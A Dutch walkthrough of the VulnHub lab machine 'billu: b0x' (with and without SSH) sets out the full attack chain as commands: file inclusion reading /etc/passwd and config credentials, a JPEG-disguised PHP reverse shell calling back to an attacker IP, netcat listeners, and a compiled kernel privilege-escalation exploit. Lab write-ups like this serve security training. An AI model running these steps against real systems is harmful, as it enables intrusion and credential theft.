billu: b0x zonder SSH

Naambillu: b0x
AuteurManish Kishan Tanwar
URLhttps://www.vulnhub.com/entry/billu-b0x,188/
NiveauBeginner
Interne ID136
Interne naamBilluboxNOSSH
TagsWeb, MySQL, privesc

Dit is dezelfde machine als 103: billu: b0x, maar dit keer is de SSH daemon uitgeschakeld om de moeilijkheidsgraad te verhogen.

Allereerst begin ik met een portscan van de machine, met nmap, ik scan alle TCP poorten om geen obscure poorten te missen. Dit kost enige tijd maar kan later veel voordeel opleveren.

nmap -p- 10.0.1.136 -sV -O -A

De uitvoer van de scan toont aan dat er een Apache webserver op poort 80 draait.

Ik begin met het onderzoeken van de webserver door de url van de server te openen in een webbrowser waarna ik word begroet met een login pagina.

Na het onderzoeken van de login pagina op SQL injectie vatbaarheden blijkt dat dit niet het geval is. Dan maar kijken of er interessante bestanden op de webserver zelf te vinden zijn. Hiervoor gebruik ik de commandline tool dirb.

dirb http://10.0.1.136 /usr/share/dirb/wordlists/big.txt

Dit levert een lijst van bestanden en mappen op, een aantal zien er interessant uit:

/phpmy blijkt PHP My Admin te bevatten, hiermee kun je MySQL databases beheren
/in bevat een PHPInfo pagina met daarop nuttige PHP informatie
De onderstaande bestanden zien er interessant uit:
/test.php
/panel.php
/show.php
/c.php

Ik begin met test.php, voor onderzoek doe ik dit het liefst vanaf de commandline met curl.

curl -X GET http://10.0.1.136/test.php

Dit levert een foutmelding op over het ontbreken van de ‘file’ parameter. Dit is eenvoudig uit te proberen:

curl -X GET http://10.0.1.136/test.php?file=test.php

De foutmelding blijft bestaan, blijkbaar verwacht het script de parameter niet als GET maar als POST.

curl -X POST http://10.0.1.136/test.php -d “file=test.php”

Succes, de inhoud van het bestand test.php wordt getoond op het scherm. Op deze manier is het mogelijk om bestanden van de server te tonen (maar helaas niet uit te voeren). Tijd om de overige bestanden die met dirb zijn gevonden te gaan bekijken.

This image has an empty alt attribute; its file name is 103-Billubox-testphp-code-1.png

Het bestand c.php blijkt de database credentials van de webapplicatie te bevatten.
billu: b0x_billu
Hiermee kan op de PHPMyAdmin pagina ingelogd worden waarna de database inhoud bekeken kan worden.

In de tabel auth staan de credentials voor de webapplicatie, namelijk biLLu: hEx_it
Hiermee kan op de webapplicatie ingelogd worden waarna er de mogelijkheid is om gebruikers te tonen of toe te voegen.

Enig onderzoek van de pagina broncode brengt aan het licht dat ook hier SQL injection niet mogelijk is. Verder worden de gebruikers afbeeldingen gecontroleerd op bestandstype, het uploaden van een PHP bestand met een backdoor en deze via de pagina laten uitvoeren is hierdoor helaas niet mogelijk.

Ook worden de verschillende invoervelden ge-escaped waardoor het niet mogelijk is PHP code te injecteren.

Verder onderzoek aan de broncode van panel.php brengt aan het licht dat onder bepaalde omstandigheden het mogelijk is een zelfgekozen bestand te ‘includen’ in de pagina. Het bestand moet zich echter wel onder de webroot bevinden.

Aangezien PHP alleen code uitvoert die tussen <?php ?> tags staat en verder alles negeert is het mogelijk om PHP code toe te voegen aan niet-php bestanden, bijvoorbeeld een afbeelding. Hiermee kan de afbeelding controle van de webapplicatie omzeild worden.

Eerst maak ik een dummy afbeelding aan:


echo ‘FFD8FFEo’ | xxd -r -p > backdoor.jpg

Vervolgens plaats ik hier achter een PHP reverse shell, in dit geval is het de uitstekende reverse shell van pentestmonkeys. Deze is aangepast zodat de communicatie wordt opgebouwd met het IP adres 10.0.1.234, poort 1234

cat backdoor.php >> backdoor.jpg

Het resultaat gebruik is als gebruikersafbeelding voor een nieuwe gebruiker. De afbeelding wordt geaccepteerd en komt terecht op de URL http://10.0.1.136/uploaded_images/backdoor.jpg

Nu moet de backdoor nog uitgevoerd worden. Hiervoor start ik eerst een netcat listener in een nieuw terminal window.

nc -nvlp 1234

Vervolgens roep ik de panel.php pagina aan met de juiste combinatie van parameters om de include van backdoor.jpg uit te voeren. Het is nodig om ingelogd te zijn aangezien er een PHP session cookie wordt gebruikt.

curl -X POST http://10.0.1.136/index.php -d “un=biLLu&ps=hEx_it&login-1” -c “koekje.txt”

curl -X POST http://10.0.1.136/panel.php -d “continue=continue&load=uploaded_images/backdoor.jpg” -b “koekje.txt”

Succes, er is een reverse shell met de machine. De gebruiker is www-data en heeft weinig rechten. Nader onderzoek naar de mogelijkheden tot een privilege escalatie is nodig.

In de welkomstboodschap is al te zien dat het om een Ubuntu machine gaat het kernel 3.13.0.

searchsploit 3.13.0

Er blijkt een local privilege exploit te bestaan voor deze kernel, de code hiervoor is te vinden op /usr/share/exploitdb/exploits/linux/local/37292.c

Met behulp van het nc commando kan dit bestand naar de doelmachine worden verzonden. Hiervoor wordt op de lokale machine een listener gestart welke de inhoud van het exploit bestand verstuurt.

nv -nvlp 1235 < /usr/share/exploitdb/exploits/linux/local/37292.c

Op de doelmachine wordt een nc verbinding gestart en de uitvoer wordt naar /tmp/exploit.c geredirect.

nc -nv 10.0.1.234 1235 > /tmp/exploit.c

De overdracht vindt plaats en door op de zendende machine de verbinding met ctrl-c te verbreken wordt het bestand op de doelmachine geschrveen.

Op de doelmachine staat nu de exploit in /tmp, deze moet nog gecompileerd worden zodat deze uitgevoerd kan worden.

cd /tmp
gcc exploit.c -o exploit
chmod +x exploit
./exploit

billu: b0x

Naambillu: b0x
AuteurManish Kishan Tanwar
URLhttps://www.vulnhub.com/entry/billu-b0x,188/
NiveauBeginner
Interne ID103
Interne naamBillubox
TagsWeb, MySQL, SSH, privesc

Allereerst begin ik met een portscan van de machine, met nmap, ik scan alle TCP poorten om geen obscure poorten te missen. Dit kost enige tijd maar kan later veel voordeel opleveren.

nmap -p- 10.0.1.103 -sV -O -A

De uitvoer van de scan toont aan dat er een SSH server op poort 22 en een Apache webserver op poort 80 draait.

Ik begin met het onderzoeken van de webserver door de url van de server te openen in een webbrowser waarna ik word begroet met een login pagina.

Na het onderzoeken van de login pagina op SQL injectie vatbaarheden blijkt dat dit niet het geval is. Dan maar kijken of er interessante bestanden op de webserver zelf te vinden zijn. Hiervoor gebruik ik de commandline tool dirb.

dirb http://10.0.1.103 /usr/share/dirb/wordlists/big.txt

Dit levert een lijst van bestanden en mappen op, een aantal zien er interessant uit:

/phpmy blijkt PHP My Admin te bevatten, hiermee kun je MySQL databases beheren
/in bevat een PHPInfo pagina met daarop nuttige PHP informatie
De onderstaande bestanden zien er interessant uit:
/test.php
/panel.php
/show.php
/c.php

Ik begin met test.php, voor onderzoek doe ik dit het liefst vanaf de commandline met curl.

curl -X GET http://10.0.1.103/test.php

Dit levert een foutmelding op over het ontbreken van de ‘file’ parameter. Dit is eenvoudig uit te proberen:

curl -X GET http://10.0.1.103/test.php?file=test.php

De foutmelding blijft bestaan, blijkbaar verwacht het script de parameter niet als GET maar als POST.

curl -X POST http://10.0.1.103/test.php -d “file=test.php”

Succes, de inhoud van het bestand test.php wordt getoond op het scherm. Op deze manier is het mogelijk om bestanden van de server te tonen (maar helaas niet uit te voeren).

Het is zelfs mogelijk om bestanden die leesbaar zijn voor apache te lezen die niet direct op de webroot staan te lezen, bijvoorbeeld /etc/passwd

curl -X POST http://10.0.1.103/test.php -d “file=/etc/passwd”

Helaas is het niet mogelijk om /etc/shadow te openen op deze manier, anders was het mogelijk geweest om de wachtwoorden met john the ripper te bruteforcen.
Er is echter wel iets anders wat geprobeerd kan worden.

PHP MyAdmin heeft een configuratiebestand waarin mogelijk de database credentials te vinden zijn. Vanuit de pagina op http://10.0.1.103/in is een PHPInfo pagina op te vragen, hierop is de documentroot van de webserver te vinden. Dit blijkt /var/www te zijn.

De URL van phpmy is /var/www/phpmy, dus het configuratiebestand zou /var/www/phpmy/config.inc.php moeten zijn.

curl -X POST http://10.0.1.103/test.php -d “file=/var/www/phpmy/config.inc.php”

Met deze root credentials kan via SSH worden ingelogd op de machine. Er zit enige vertaging tussen het verbinden en de wachtwoord prompt, dit is mogelijk een bescherming tegen brute force.

ssh root@10.0.1.103